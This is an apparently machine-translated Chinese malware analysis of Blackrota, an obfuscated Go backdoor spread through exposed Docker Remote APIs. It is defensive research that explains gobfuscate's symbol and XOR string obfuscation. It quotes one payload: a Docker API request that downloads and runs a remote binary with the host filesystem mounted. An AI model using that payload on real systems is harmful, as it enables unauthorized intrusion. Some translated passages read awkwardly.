Blackrota,一个用Go语言编写的高度混淆的后门

2020-11-28 02:06:24

最近,我们的Anglerfish蜜罐发现了用Go语言编写的恶意后门程序,该程序利用Docker Remote API中的未授权访问漏洞。我们将其命名为Blackrota,因为其C2域名为blackrota.ga。

Blackrota后门目前仅适用于Linux(ELF文件格式),并且支持x86 / x86-64 CPU架构。 Blackrota是基于geacon(以Go语言实现的CobaltStrike信标)配置和编译的,它可用作与CobaltStrike交互以控制受感染主机的CobalStrike信标:

与原始geacon不同,Blackrota在编译之前使用gobfuscate对源代码进行模糊处理。 gobfuscate是用于Go代码混淆的开源工具,它可以使用随机字符替换来混淆Go源代码的以下元素:

此外,gobfuscate会将代码中使用的所有字符串替换为XOR编码,并为每个字符串分配一个XOR Decoding函数,该函数可在程序执行期间动态解码字符串。

Go语言使用完全静态的链接来构建二进制文件。结果,标准库和第三方库中使用的所有代码都打包到二进制文件中,从而导致非常大的二进制文件。从反向分析的角度来看,此特性意味着在反汇编工具中打开Go二进制文件时,将看到成千上万个函数。如果这些函数没有相应的符号,则将很难对Go二进制文件进行反向分析。

好消息是Go语言还有另一种机制:构建二进制文件时,RTSI(运行时符号信息)和RTTI(运行时类型信息)都打包到二进制文件中,不能剥离。当前,几乎所有用于逆向工程Go二进制文件的专用工具都试图从Go二进制文件中恢复那些信息以协助分析过程。 Go项目通常会导入许多第三方开源软件包。通常,恢复的RTSI和RTTI会将我们引向相应的开源程序包,然后我们可以阅读第三方程序包的源代码,这将进一步提高反向分析的效率。

Blackrota使用gobfuscate来混淆符号和类型信息,这是此类反向分析工具的“生命之门”。它们解析和恢复的符号信息变得不可读,并且无法理解符号和类型信息,并且无法知道哪些第三方程序包已导入到项目中。这使反向分析过程变得更加困难。

从历史上看,我们已经看到用Go语言编写的恶意软件在编译时充其量是最好的,在最坏的情况下它会被模糊处理,在反向分析中没有太多困难。 Blackrota带来了一种新的混淆方法,它是迄今为止我们发现的最混淆的ELF格式的Go编写恶意软件。

Blackrato的作者招募了多个有效载荷,用于未经授权使用Docker Remote API。典型的有效负载简化如下:

POST /v1.37/containers/create HTTP / 1.1Host:{target_host}:{target_port} User-Agent:Docker-Client / 19.03.7(linux)Content-Length:1687Content-Type:application / json {“ Env” :[],“ Cmd”:[“ / bin / sh”,“-c”,“ rm ./32; wget https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32;chmod 777 32; nohup ./32 \ u003c / dev / null \ u003e / dev / null 2 \ u003e \ u00261 \ u0026“],” Image“:” alpine“,” Volumes“:{},” WorkingDir“:”“, “ HostConfig”:{“ Binds”:[“ /:/ mnt”]}

成功加载有效负载后,将从以下2个URL下载32位或64位Blackrota后门程序:

如上所述,Blackrota后门程序是用Go语言编写的,借助于IDAPro中的go_parser,我们可以知道它是从Go1.15.3编译的,GOROOT路径为“ / usr / local / Cellar / go / 1.15.3 / libexec”。除了这两条有效信息外,解析的源文件路径,函数名称,全局变量名称,数据类型名称和绑定到数据类型的方法名称都被随机字符替换所混淆,并且不可读。

我们可以看到项目中涉及的源文件路径列表(源文件的目录以随机字符串命名):

从以上分析结果来看,进行反向分析的最大障碍是,在从Blackrota示例导入的第三方程序包的源代码中,函数名称,类型名称和方法名称被混淆为无意义的随机字符。解析后的部分函数列表:

此外,还有一些绑定到数据类型的方法名称并没有完全混淆:

由于具有成千上万个随机字符串命名的函数以及大量随机命名的数据类型,方法和全局变量,我们无法确定样本中使用了哪些第三方Go软件包,因此几乎无法进行反向分析前锋。最终,经过仔细的分析,我们发现Blackrota样本是从geacon编译而来的。

这样,我们可以尝试使用以下步骤恢复Blackrota示例中的功能符号。

编译具有与Blackrota示例相同的CPU体系结构的geacon二进制文件,而不进行剥离;

使用Flair工具集中的sigmake为geacon创建一个Flirt签名文件(geacon.sig)。

进步了!但是不要太激动,因为我们发现Blackrota的功能符号还没有被完全识别,并且有大约一百个功能没有被geacon的符号覆盖,其中一些识别如下:

在上面的分析中,我们看到在Blackrota中仅解析了Go标准软件包中使用的很少的字符串,而没有解析geacon内部的字符串。问题在于上述功能没有被geacon符号覆盖。

从我们的分析中,我们看到Blackrota对它内部使用的所有字符串进行XOR编码,并在运行时动态解码这些字符串以引用它们。对于每个字符串,都有一个XOR解码器功能。 gobfuscate生成与字符串长度相同的随机XOR密钥,求解字符串并返回它,并且已解决的字符串在父函数中引用。下图显示了XOR解码功能的关键部分之一:

如果要解码所有字符串,则需要找到每个字符串编码函数,找到“编码字节”和“ XOR键”,然后使用XOR算法求解字符串。这将为反向分析工作增加很多工作,也有助于程序在某种程度上避免自动检测安全产品。

用Go语言编写的经过混淆的恶意软件很少见,除了白帽子进行的几次简单尝试之外,但以前只见过两次:一种是@joakimkennedy公开的勒索软件,它仅对包main中的功能符号进行了混淆:

该程序只是混淆了主程序包中几个函数的名称,几乎不会引起反向分析的任何问题:

另一个是另一种勒索软件EKANS,它使用与Blackrota相同的混淆方法:

Blackrota和EKANS的混淆方法为反向分析提出了新的挑战。随着Go语言变得越来越流行,将来将越来越多的Go语言编写恶意软件,我们将密切关注即将发生的事情。